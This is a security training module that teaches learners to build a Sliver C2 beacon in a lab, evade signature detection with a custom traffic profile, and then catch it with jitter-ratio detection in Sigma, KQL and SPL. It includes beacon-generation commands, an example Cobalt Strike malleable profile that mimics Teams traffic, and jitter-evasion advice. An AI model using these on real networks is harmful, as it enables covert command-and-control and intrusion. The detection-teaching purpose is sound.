In this section

OD2.2 Command and Control Frameworks. Building and Detecting C2 Traffic

8-10 hours · Module 2
What you already know

OD2.1 built your C2 infrastructure, team server, redirector, payload host. The beacon you deployed calls back through the redirector at a fixed interval. This sub teaches you to customize that beacon's traffic profile so it evades your existing detection rules, then detect it by the behavioral patterns the attacker can't change. You'll operate both sides: build the evasion, then break it.

Operational Context

Your threat intel feed flags a Cobalt Strike beacon in a campaign targeting your industry. You check your SIEM: three detection rules targeting Cobalt Strike's default HTTP URI, default named pipe, and default service name. They've fired exactly twice: both during pen tests where the testers forgot to customize. In the real campaign, the attacker spent 30 minutes editing a malleable C2 profile. Your three rules match nothing. This sub teaches you why, by having you do the same thing the attacker did.

Understanding why signature-based C2 detection fails requires building the evasion yourself. Reading about malleable profiles is theoretical. Configuring one, generating the beacon, watching your own rules stay silent, and then writing the detection that catches the behavioral invariant, that's operational knowledge.

Learning Objectives

By the end of this sub you will be able to:

  • Configure a Sliver beacon with a custom HTTP profile that mimics legitimate application traffic and evades signature-based C2 detection rules. A C2 profile is a configuration file: a text file the attacker edits in 30 minutes, that controls how beacon traffic appears on the wire: the HTTP verb, URI path, User-Agent, headers, payload encoding, and response format. The Midnight Blizzard campaigns against Microsoft in 2024 used custom-profiled C2 traffic that mimicked legitimate Azure service calls for months before detection. This matters because building the evasion yourself teaches you exactly what the attacker changes and what they can't change, which is the foundation for durable detection.
  • Identify the five behavioral invariants of C2 traffic that survive all profile customization across every framework, callback interval regularity, consistent payload sizing, sleep-beacon-response cycle, session metadata patterns, and long-duration single-destination sessions. This matters because these invariants exist because of how C2 protocols work, not how they're configured, and one behavioral detection rule targeting these invariants replaces dozens of fragile signature rules.
  • Deploy a beaconing detection rule that catches your own custom-profiled beacon by jitter ratio analysis, proving that behavioral detection succeeds where signature detection fails. This matters because you'll have tested the rule against traffic you personally crafted to evade detection, if it catches your evasion attempt, it catches the attacker's.
C2 DETECTION. WHAT THE ATTACKER CHANGES vs WHAT THEY CAN'T
ATTACKER CHANGES (30 min)
HTTP URI path
User-Agent string
HTTP headers
Named pipe name
Service display name
Payload encoding format
Your signature rules target these
ATTACKER CAN'T CHANGE
Callback interval regularity
Consistent payload sizing
Sleep → beacon → response cycle
Session metadata in every callback
Long-duration single destination
 
Your behavioral rules target these
Cobalt Strike
Most common. Malleable profiles.
Sliver
Open-source. HTTP/mTLS/DNS.
Mythic
Modular. Custom agents.
Havoc
Demon agent. EDR evasion.
Brute Ratel
Commercial. Anti-EDR.

Figure OD2.2. The left column is what the attacker changes in 30 minutes by editing a config file. The right column is what they can't change without breaking the C2 channel. Your detection should target the right column.


The Attack. Customise a C2 profile to evade your detection rules

You're about to do what the attacker does before every campaign: customize the C2 beacon's traffic profile so that signature-based detection sees nothing. You'll generate a beacon that mimics legitimate application traffic, run it through your redirector, and confirm that your existing rules stay silent. This is the 30-minute configuration change that defeats most organizations' C2 detection.

Why the attacker customizes the C2 profile

A C2 framework out of the box. Cobalt Strike with defaults, Sliver with no profile flags, produces traffic with well-known signatures. The default Cobalt Strike HTTP GET uses /submit.php?id=, the default User-Agent contains MSIE 11, the default named pipe is \\.\pipe\msagent_##. Threat intel vendors publish these signatures. SOC teams deploy them. And they work, against pen testers who forget to customize.

A real attacker edits the C2 profile before the campaign starts. In Cobalt Strike, this is a "malleable C2 profile": a text file that controls every aspect of the beacon's network appearance. In Sliver, it's the --http flag combined with implant generation options. In Mythic, it's per-agent configuration. Every framework provides this customization because every framework's authors know that defenders detect defaults.

The customization takes 30 minutes. The attacker changes the HTTP URI path to look like a legitimate API endpoint, sets the User-Agent to match a real application, wraps the payload in JSON or XML that mimics an expected response format, and renames the named pipe and service to match something innocuous. The result: traffic that looks like a Microsoft Teams update check, a Google Analytics callback, or a Salesforce API response.

Step 1. Generate a baseline beacon with your OD2.1 infrastructure

Your Sliver team server and Nginx redirector from OD2.1 should still be running. If not, restart them.

The following command generates a beacon with a 120-second callback interval and 15% jitter. Jitter is the randomisation the framework adds to the callback timing, instead of calling back exactly every 120 seconds, the beacon calls back at 120 ± 18 seconds (15% of 120 = 18). Jitter exists to make the traffic pattern less regular and harder to detect statistically.

# On your Linux VM, in the Sliver console:
# Verify the HTTPS listener is running:
sliver > https

# If no listeners are shown, start one:
sliver > https --lhost 0.0.0.0 --lport 443

# Generate the beacon:
sliver > generate beacon \
    --http cdn-assets-update.com \
    --name profile-evasion-test \
    --os windows --arch amd64 \
    --seconds 120 --jitter 15

Sliver outputs the beacon binary path. Note it, you'll transfer this to your Windows VM.

If the generate command fails with "no listeners configured," the HTTPS listener isn't running. Start it first with the https command above. If it fails with "build error," verify your Go installation is current (go version should show 1.21+).

Step 2. Transfer the beacon and execute it

# On your Windows VM:
# Transfer the beacon binary from your Linux VM via SCP,
# shared folder, or Python HTTP server (from OD2.1).
# Then execute it:
& "$env:TEMP\profile-evasion-test.exe"

# Verify the callback in Sliver:
# (back on Linux VM, in Sliver console)
sliver > beacons

You should see the beacon check in within 120 seconds. If it doesn't connect: verify the cdn-assets-update.com hosts file entry from OD2.1 still points to your Linux VM's IP. Verify Windows Firewall isn't blocking outbound HTTPS from the beacon process. Verify the HTTPS listener is running.

Step 3. Let the beacon accumulate callbacks (15 minutes)

At a 120-second interval with 15% jitter, 15 minutes produces approximately 7 callbacks. Don't interact with the beacon yet, don't run any commands through it. A clean beaconing pattern with no task execution is the baseline we need for detection analysis.

While the beacon runs, check what your existing detection rules see:

# On your Windows VM, check Sysmon Event 3 (network connections):
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" `
    -FilterXPath "*[System[EventID=3]]" -MaxEvents 20 |
    ForEach-Object {
        $xml = [xml]$_.ToXml()
        [PSCustomObject]@{
            Time  = $_.TimeCreated.ToString("HH:mm:ss")
            Image = ($xml.Event.EventData.Data |
                Where-Object Name -eq 'Image').'#text' |
                Split-Path -Leaf
            Dest  = ($xml.Event.EventData.Data |
                Where-Object Name -eq 'DestinationHostname').'#text'
            Port  = ($xml.Event.EventData.Data |
                Where-Object Name -eq 'DestinationPort').'#text'
        }
    } | Format-Table -AutoSize

You'll see outbound HTTPS connections from the beacon process to cdn-assets-update.com every ~120 seconds. If you had Cobalt Strike signature rules in your SIEM, they'd be silent, this isn't Cobalt Strike, and even if it were, the traffic doesn't match default signatures.

Step 3b. Capture the raw traffic from the attacker's side

While the beacon accumulates callbacks, capture the traffic on your Linux VM to see exactly what the redirector receives. This is the attacker's view, what the C2 infrastructure sees arriving.

# On your Linux VM (separate terminal from Sliver):
# Capture HTTPS traffic arriving at the redirector:
sudo tcpdump -i any port 443 -n -c 20 2>/dev/null | \
    grep -E "^[0-9]" | head -10

You'll see a pattern: one connection every ~120 seconds from your Windows VM's IP, always to port 443, always the same source process. The timing is the invariant, it's visible even at the network layer before any decryption.

If you're running the Nginx redirector from OD2.1, check its access log for the HTTP layer:

# On your Linux VM:
tail -20 /var/log/nginx/access.log

Each line shows the beacon's HTTP request. The URI, User-Agent, and response code are all configurable: the attacker sets them in the profile. But the timing between entries (one every ~120 seconds) is the invariant. This is what the attacker sees when they verify their infrastructure is working. It's also what you'll detect.

Step 3c. Confirm your existing detection rules see nothing

If you have any C2 detection rules in your lab SIEM, run them now. Common signature-based rules to test against:

Check your SIEM for rules matching:
  - "Cobalt Strike" → these target CS defaults, not Sliver
  - Default named pipes (\\.\pipe\msagent_##) → not in Sliver
  - Default URIs (/submit.php, /visit.js) → not in Sliver
  - JA3 hash matches → Sliver uses Go TLS, different fingerprint
  - Known C2 domain lists → cdn-assets-update.com is your lab domain

Expected result: ZERO alerts from all signature rules.
The beacon is running, calling back every 120 seconds,
and your detection stack sees nothing.

This is the state the attacker achieves in 30 minutes of
configuration. Everything that follows is about building
detection that works despite this evasion.

Step 4. Understand what the profile controls and what it doesn't

The beacon traffic has two layers: the configurable wrapper (what the traffic looks like) and the behavioral invariant (how the traffic behaves over time). The attacker controls the wrapper. They don't control the invariant.

What the attacker configured (the wrapper): the HTTP path, the User-Agent, the headers, the payload encoding. In a Cobalt Strike malleable profile, this is a text file. The following example shows what a real attacker writes: each line changes how the traffic appears on the wire:

# Example Cobalt Strike malleable profile (attacker writes this):
http-get {
    set uri "/api/v1/teams/updates/check";
    client {
        header "User-Agent" "Microsoft Teams/1.6.00.23456";
        header "Accept" "application/json";
        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            prepend "{\"status\":\"ok\",\"updates\":[";
            append "]}";
            print;
        }
    }
}

Each individual request looks like a legitimate Teams API call. Valid URI, valid User-Agent, valid JSON response. Your signature rules matching /submit.php?id= see nothing.

What the attacker didn't change (the invariant): the beacon still calls back every ~120 seconds. The payload size is still consistent across callbacks (same type of data each time). The pattern is still sleep → wake → POST → response → sleep. The session has been maintained to one destination for hours. These are consequences of how the C2 protocol works, not how it's configured.

Step 5. Test jitter evasion by generating a second beacon

The attacker knows defenders look for regular timing. Increasing jitter makes the timing less regular. How much jitter defeats behavioral detection?

# On your Linux VM, generate a high-jitter beacon:
sliver > generate beacon \
    --http cdn-assets-update.com \
    --name high-jitter-test \
    --os windows --arch amd64 \
    --seconds 120 --jitter 50

Transfer and execute this beacon on your Windows VM alongside the first one. Let it accumulate 10+ callbacks (20+ minutes).

Step 5b. Compare both beacons side by side

With both beacons running, observe the timing difference on the attacker's side:

# On your Linux VM, watch both beacons arrive in real-time:
tail -f /var/log/nginx/access.log | grep --line-buffered "cdn-assets"

You'll see two interleaved streams. The 15%-jitter beacon produces entries at predictably regular intervals: the gaps between requests are nearly identical. The 50%-jitter beacon produces irregular gaps, sometimes 60 seconds apart, sometimes 180. Both are calling the same domain, but the timing patterns are visibly different.

This is the attacker's operational tradeoff in action. With 15% jitter, the beacon is responsive: the attacker sends a command and gets a result within ~140 seconds at most. With 50% jitter, some check-ins happen after 60 seconds (fast) but others after 180 seconds (the attacker waits three minutes for a response). For time-sensitive operations, exfiltrating data during a detection window, establishing lateral movement before the SOC shifts, high jitter is a real operational penalty.

Most real-world attackers settle for 20–30% jitter. It's enough randomisation to avoid trivial pattern matching but not so much that the C2 channel becomes sluggish. This is why a detection threshold of jitter ratio < 0.30 catches most campaigns.

Before reading on
You now have two beacons running: one with 15% jitter (ratio ≈ 0.08–0.15) and one with 50% jitter (ratio ≈ 0.25–0.35). A detection threshold of jitter ratio < 0.30 catches the first but is borderline for the second. What jitter percentage would an attacker need to reliably evade this detection? What tradeoff does high jitter impose on the attacker's operational capability? Think about it before reading the telemetry section.

The five behavioral invariants, why the attacker can't escape them

No matter how much the attacker customizes the wrapper, these five patterns exist because of how C2 works, not how it's configured. Changing any of them breaks the C2 channel.

1. Callback interval regularity. The beacon calls home at intervals centred on the configured sleep timer. Even with 50% jitter, the timing follows a statistical distribution: the standard deviation divided by the mean (the jitter ratio) stays below 0.40. Your browser doesn't POST to the same URI at regular intervals for three consecutive days.

2. Consistent payload sizing. Each check-in sends the same type of data: a status heartbeat. Over dozens of callbacks, the sent-bytes cluster around specific values. Legitimate API traffic varies because the data changes with each request.

3. Sleep-beacon-response cycle. Every C2 framework follows: sleep → wake → beacon (send status, receive tasks) → execute → sleep. This produces regular gaps between request clusters. The gap is the sleep timer.

4. Session metadata. The server needs to know which implant is calling, implant ID, compromised hostname, user context. This metadata is in every callback regardless of the wrapper format.

5. Long-duration single-destination. The beacon maintains a persistent relationship with one domain for days to months. A single non-browser process communicating with one destination for three consecutive days is statistically unusual.

What you built: Two running beacons with different jitter profiles (15% and 50%), both calling back through your redirector from OD2.1. Your existing signature rules are silent against both. This is the evasion state the attacker achieves in 30 minutes.

What Your Attack Produced

Switch perspective. You're now the defender looking at your own attack. Run the query below against your lab telemetry and see what your beacons look like from the SIEM side.

Check Sysmon Event 3 for the beacon's network connections:

// Run in Sentinel (or adapt for your lab SIEM):
// This query shows the raw callback pattern for your beacons.
Sysmon
| where TimeGenerated > ago(1h)
| where EventID == 3
| where DestinationHostname == "cdn-assets-update.com"
| project TimeGenerated, Image, DestinationHostname,
    DestinationPort, SourcePort
| order by TimeGenerated asc

You should see two distinct processes (the 15%-jitter beacon and the 50%-jitter beacon) each making outbound HTTPS connections. The timestamps tell the story:

Expected output pattern (your times will differ):

15% jitter beacon (profile-evasion-test.exe):
  14:00:12 → 14:02:08 → 14:04:15 → 14:06:01 → 14:08:19
  Intervals: 116s, 127s, 106s, 138s
  Mean: 121.8s | StdDev: 13.4s | Jitter ratio: 0.11

50% jitter beacon (high-jitter-test.exe):
  14:00:45 → 14:03:22 → 14:04:51 → 14:08:14 → 14:09:30
  Intervals: 157s, 89s, 203s, 76s
  Mean: 131.3s | StdDev: 59.8s | Jitter ratio: 0.46

The 15%-jitter beacon has an unmistakable pattern: the intervals cluster tightly around 120 seconds. The 50%-jitter beacon is harder to spot statistically, but it's still one process hitting one destination for hours. Both are invisible to signature rules. Both are visible to behavioral analysis, just at different confidence levels.

The jitter tradeoff the attacker faces: pushing jitter above 50% makes the beacon less responsive. With 60% jitter on a 120-second base, some callbacks take 48 seconds and some take 192 seconds. Task delivery becomes unpredictable: the attacker sends a command and waits up to 3 minutes for the beacon to check in. For time-sensitive operations (exfiltration under pressure, lateral movement during a detection window), high jitter is an operational penalty. Most attackers settle for 20–30% jitter, which keeps the ratio below 0.30 and operational.


Detecting This

One behavioral rule replaces dozens of fragile signatures. Deploy it and verify it catches what you just built.

title: Non-Browser Process Regular HTTPS Beaconing
id: 8b4e2d01-3c5f-6a7e-9b0c-1d2e3f4a5b6c
status: stable
description: |
    Detects a non-browser process making regular outbound HTTPS
    connections to the same external destination with low jitter
    ratio, indicating C2 beaconing. Survives malleable profile
    customization across all major C2 frameworks.
author: Ridgeline Cyber
logsource:
    category: network_connection
    product: windows
detection:
    selection:
        DestinationPort: 443
        Initiated: 'true'
    filter_browsers:
        Image|endswith:
            - '\chrome.exe'
            - '\msedge.exe'
            - '\firefox.exe'
            - '\brave.exe'
    filter_known:
        Image|endswith:
            - '\teams.exe'
            - '\outlook.exe'
            - '\onedrive.exe'
            - '\svchost.exe'
            - '\MsMpEng.exe'
    condition: selection and not filter_browsers and not filter_known
    # Post-processing: group by Image + Destination,
    # calculate jitter ratio, alert if < 0.3 over 5+ callbacks.
    # Sigma alone cannot express statistical aggregation —
    # use KQL/SPL for full logic.
level: medium
falsepositives:
    - Legitimate update agents with fixed polling intervals
    - Monitoring agents with regular check-in cycles
tags:
    - attack.command_and_control
    - attack.t1071.001
// Sentinel KQL — C2 Beaconing Detection by Jitter Ratio
// Catches non-browser processes with regular callback intervals
// to the same destination. Jitter ratio < 0.3 = probable C2.
let excludedProcesses = dynamic(["msedge.exe", "chrome.exe",
    "firefox.exe", "teams.exe", "outlook.exe", "onedrive.exe",
    "svchost.exe", "MsMpEng.exe", "msedgewebview2.exe"]);
DeviceNetworkEvents
| where TimeGenerated > ago(24h)
| where RemotePort == 443 and ActionType == "ConnectionSuccess"
| where not(InitiatingProcessFileName has_any (excludedProcesses))
| summarize
    Timestamps = make_list(TimeGenerated),
    RequestCount = count()
    by DeviceName, RemoteUrlHost, InitiatingProcessFileName
| where RequestCount > 5
| mv-expand Timestamps to typeof(datetime)
| sort by DeviceName, RemoteUrlHost, Timestamps asc
| extend PrevTime = prev(Timestamps),
         PrevHost = prev(RemoteUrlHost)
| where RemoteUrlHost == PrevHost
| extend IntervalSec = datetime_diff('second', Timestamps, PrevTime)
| where IntervalSec > 10 and IntervalSec < 86400
| summarize
    AvgInterval = round(avg(IntervalSec), 1),
    StdDev = round(stdev(IntervalSec), 1),
    Intervals = count(),
    FirstSeen = min(Timestamps),
    LastSeen = max(Timestamps)
    by DeviceName, RemoteUrlHost, InitiatingProcessFileName
| where Intervals > 4
| extend JitterRatio = round(StdDev / AvgInterval, 3)
| where JitterRatio < 0.3
| extend DurationHours = datetime_diff('hour', LastSeen, FirstSeen)
| project DeviceName, InitiatingProcessFileName, RemoteUrlHost,
    AvgInterval, StdDev, JitterRatio, Intervals, DurationHours
| order by JitterRatio asc
// Defender XDR — C2 Beaconing Detection
let excludedProcesses = dynamic(["msedge.exe", "chrome.exe",
    "firefox.exe", "teams.exe", "outlook.exe", "onedrive.exe",
    "svchost.exe", "MsMpEng.exe"]);
DeviceNetworkEvents
| where Timestamp > ago(24h)
| where RemotePort == 443 and ActionType == "ConnectionSuccess"
| where not(InitiatingProcessFileName has_any (excludedProcesses))
| summarize
    Timestamps = make_list(Timestamp),
    RequestCount = count()
    by DeviceName, RemoteUrl, InitiatingProcessFileName
| where RequestCount > 5
| mv-expand Timestamps to typeof(datetime)
| sort by DeviceName, RemoteUrl, Timestamps asc
| extend PrevTime = prev(Timestamps),
         PrevUrl = prev(RemoteUrl)
| where RemoteUrl == PrevUrl
| extend IntervalSec = datetime_diff('second', Timestamps, PrevTime)
| where IntervalSec > 10 and IntervalSec < 86400
| summarize
    AvgInterval = round(avg(IntervalSec), 1),
    StdDev = round(stdev(IntervalSec), 1),
    Intervals = count()
    by DeviceName, RemoteUrl, InitiatingProcessFileName
| where Intervals > 4
| extend JitterRatio = round(StdDev / AvgInterval, 3)
| where JitterRatio < 0.3
| order by JitterRatio asc
| tstats count WHERE index=proxy sourcetype=proxy
    by _time src dest dest_port process_name span=1m
| where dest_port=443
| search NOT process_name IN ("chrome.exe", "msedge.exe",
    "firefox.exe", "teams.exe", "outlook.exe", "onedrive.exe",
    "svchost.exe")
| sort 0 src dest _time
| streamstats current=f last(_time) as prev_time
    by src dest process_name
| eval interval=_time-prev_time
| where interval>10 AND interval<86400
| stats avg(interval) as avg_interval stdev(interval) as std_interval
    count as callback_count
    min(_time) as first_seen max(_time) as last_seen
    by src dest process_name
| where callback_count>4
| eval jitter_ratio=round(std_interval/avg_interval, 3)
| where jitter_ratio<0.3
| sort jitter_ratio

Run the KQL (or SPL) against your lab telemetry now. The 15%-jitter beacon should appear with a jitter ratio around 0.08–0.15, clearly below the 0.30 threshold. The 50%-jitter beacon should either be borderline (0.25–0.35) or absent. Your signature rules caught neither. The behavioral rule caught at least one. That's the point.

Jitter ratio thresholds by framework (for reference):

Cobalt Strike (0% jitter):    ratio ≈ 0.00-0.05
Cobalt Strike (20% jitter):   ratio ≈ 0.10-0.15
Sliver (default 20%):         ratio ≈ 0.10-0.20
Mythic (variable by agent):   ratio ≈ 0.05-0.25
Havoc (Demon, default):       ratio ≈ 0.10-0.20
Brute Ratel (high jitter):    ratio ≈ 0.20-0.40

Threshold at 0.30 catches all defaults.
At 50%+ jitter, the attacker is trading operational speed
for detection evasion: the beacon becomes less responsive.

Hunting, long-duration single-destination sessions. Beyond jitter analysis, hunt for processes maintaining persistent relationships with one domain:

// Non-browser process → one domain → 3+ days → 50+ requests
DeviceNetworkEvents
| where TimeGenerated > ago(7d)
| summarize FirstSeen = min(TimeGenerated),
    LastSeen = max(TimeGenerated),
    RequestCount = count()
    by DeviceName, RemoteUrlHost, InitiatingProcessFileName
| extend DurationDays = datetime_diff('day', LastSeen, FirstSeen)
| where DurationDays >= 3 and RequestCount > 50
| where InitiatingProcessFileName !in ("chrome.exe", "msedge.exe",
    "firefox.exe", "onedrive.exe", "teams.exe")
| order by DurationDays desc

Tuning. The beaconing detection will flag legitimate monitoring agents (update checkers, EDR heartbeats, certificate renewal services). Add their process names to the exclusion list after confirming their identity. The false-positive volume depends on your environment, expect 5–15 results on first run, most legitimate. Each result you investigate and clear narrows the FP set.

Logging gaps. The detection requires Sysmon Event 3 (network connections) or proxy logs with process attribution. If your proxy logs only show client IP without the process name, you lose the ability to distinguish beacon traffic from legitimate browsing. Verify Sysmon config includes .


Checkpoint, before moving on

You should be able to do the following without referring back to this sub. If you can't, the sections to re-read are noted.

1. Generate a Sliver beacon with a specified callback interval and jitter percentage, explain what each parameter controls in the C2 traffic pattern, and state why increasing jitter above 50% creates an operational penalty for the attacker. (§ The Attack. Steps 1, 5)
2. Given Sysmon Event 3 data showing a non-browser process making HTTPS connections to one destination at regular intervals, calculate the jitter ratio and classify the traffic as C2 or legitimate using at least three of the five behavioral invariants. (§ What Your Attack Produced)
3. Deploy the beaconing detection KQL in your lab SIEM, verify it catches your 15%-jitter beacon, and explain why it may miss the 50%-jitter beacon, including the specific threshold that determines the detection boundary. (§ Detecting This)